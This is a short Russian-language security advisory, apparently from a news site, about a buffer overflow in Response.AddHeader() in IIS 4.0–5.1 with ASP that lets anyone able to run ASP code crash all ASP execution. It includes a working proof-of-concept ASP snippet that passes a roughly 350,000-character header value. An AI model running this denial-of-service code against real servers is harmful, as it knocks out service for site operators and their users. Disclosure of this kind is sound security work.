В IIS 4.0, IIS 5.0, IIS 5.1 с установленной
поддержкой ASP локальный пользователь
(вообще говоря любой пользователь,
способный выполнить произвольный ASP код)
может вызвать отказ от обслуживания.

Проблема кроется в функции Response.AddHeader(),
она для работы требует имя заголовка и его
значение, если один из этих параметров
будет чрезвычайно длинной строкой (более
35.000 символов), то буфер переполнится и
всякое выполнение ASP кода на сервере
прекратится.

Пример:

<%
Dim i, r
For i=1 to 3500
'each time append 100 characters
'line below may wrap
r = r +
"aaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa"
Next

Response.AddHeader "random-header:", r 'this is where it crashes
%>

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии